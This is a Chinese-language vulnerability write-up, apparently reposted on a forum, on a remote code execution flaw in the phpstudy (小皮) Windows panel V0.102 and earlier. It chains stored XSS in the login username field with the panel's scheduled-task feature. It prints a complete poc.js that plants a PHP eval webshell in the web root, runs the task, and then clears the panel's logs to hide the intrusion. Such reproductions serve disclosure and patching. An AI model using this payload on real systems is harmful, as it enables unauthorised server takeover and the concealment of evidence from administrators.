«

phpstudy小皮Windows面板RCE漏洞

磁力搜索 • 3 天前 • 0 次点击 • 资讯分享


简介

phpstudy是一款集成了最新版apache+php+mysql+phpmyadmin+zendoptimizer的php调试环境程序包。该程序包无需复杂配置,一次性安装即可使用,是一款非常便捷且高效的php调试工具。此外,phpstudy还提供了开发工具和开发手册,进一步增强了其实用性。

概述

phpstudy小皮面板中存在一个远程代码执行(RCE)漏洞。经分析和复现,发现此漏洞源于一个存储型的跨站脚本(XSS)漏洞。通过在系统登录用户名输入框中注入XSS代码,并结合系统后台自动添加计划任务的功能,可以实现RCE。

影响版本

此漏洞影响小皮windows面板V0.102及以下版本。官方已发布修复版本,可从以下链接下载漏洞版本:https://www.php.cn/link/bea65a5d4303b90f2d29322ea14aeffb

漏洞复现

安装成功后,系统会弹出初始账号和密码:

phpstudy小皮Windows面板RCE漏洞

立即学习“PHP免费学习笔记(深入)”;

在尝试几次错误的用户名和密码后(需要正确输入验证码),发现错误的用户名会被记录到首页的操作日志中:

phpstudy小皮Windows面板RCE漏洞

进一步尝试在登录框中插入XSS代码,发现漏洞正是通过登录窗口的存储型XSS实现的。登录框未进行有效限制,且登录失败的用户名会被直接显示在小皮首页的日志中,从而可以插入任意XSS代码。结合phpstudy内置的计划任务功能,可以写入webshell实现RCE。

phpstudy小皮Windows面板RCE漏洞

phpstudy小皮Windows面板RCE漏洞

phpstudy小皮Windows面板RCE漏洞

系统后台的计划任务功能允许执行系统命令,因此通过登录处的XSS漏洞,可以写入计划任务来执行命令。

在VPS上部署时,需要插入以下poc.js文件(写入目录根据本地实际情况进行调整):

function poc() {
  $.get('/service/app/tasks.php?type=task_list', {}, function(data) {
    var id = data.data[0].ID;
    $.post('/service/app/tasks.php?type=exec_task', {
      tid: id
    }, function(res2) {
      $.post('/service/app/log.php?type=clearlog', {}, function(res3) {}, "json");
    }, "json");
  }, "json");
}

function save() {
  var data = new Object();
  data.task_id = "";
  data.title = "test";
  data.exec_cycle = "1";
  data.week = "1";
  data.day = "3";
  data.hour = "14";
  data.minute = "20";
  data.shell = 'echo "<?php @eval($_POST[123]);?>" >D:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';
  $.post('/service/app/tasks.php?type=save_shell', data, function(res) {
    poc();
  }, 'json');
}

save();
登录后复制


    还没收到回复